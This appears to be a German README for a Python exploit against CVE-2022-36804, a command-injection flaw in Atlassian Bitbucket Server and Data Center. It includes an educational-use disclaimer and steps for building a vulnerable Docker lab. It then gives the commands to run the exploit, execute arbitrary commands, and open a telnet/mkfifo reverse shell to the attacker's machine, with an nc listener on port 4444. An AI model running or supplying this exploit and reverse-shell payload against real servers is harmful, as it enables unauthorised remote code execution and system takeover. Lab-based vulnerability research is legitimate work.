
Python-Exploit für CVE-2022-36804, eine Befehlsinjektion in Atlassian Bitbucket Server und Data Center, die Remote-Codeausführung mit Leserechten ermöglicht.
⚠️ Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke
Vielen Dank an den ursprünglichen PoC-Autor Walnut Security Services Pvt. Ltd
Mehrere API-Endpunkte in Atlassian Bitbucket Server und Data Center 7.0.0 vor Version 7.6.17, von Version 7.7.0 vor Version 7.17.10, von Version 7.18.0 vor Version 7.21.4, von Version 8.0.0 vor Version 8.0.3, von Version 8.1.0 vor Version 8.1.3, von Version 8.2.0 vor Version 8.2.2 und von Version 8.3.0 vor 8.3.1 ermöglichen es entfernten Angreifern mit Leseberechtigungen für ein öffentliches oder privates Bitbucket-Repository, beliebigen Code auszuführen, indem sie eine bösartige HTTP-Anfrage senden. Diese Schwachstelle wurde von TheGrandPew über unser Bug-Bounty-Programm gemeldet.
Klonen Sie zuerst das Repository
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Verzeichnis wechseln
cd CVE-2022-36804
Verwundbaren Container bauen
docker build -t CVE-2022-36804 .
Ephemeralen Container ausführen
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Container-IP-Adresse überprüfen
docker inspect CVE-2022-36804 | grep "IPAddress"
Atlassian Bitbucket einrichten und ein neues öffentliches Repository erstellen, indem Sie die URL öffnen: http://172.17.0.3:7990
Auf Remote Code Execution (RCE) prüfen
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Auf RCE mit benutzerdefiniertem Befehl (cmd) prüfen
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
Aus Angreifersicht ist Remote Code Execution entscheidend, um Zugriff auf eine interaktive Shell zu erhalten. Die Ausführung des folgenden Befehls würde daher eine telnet-Reverse-Shell über TCP auf Basis von Bash auf dem System des Angreifers auf Port 4444/tcp auslösen:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444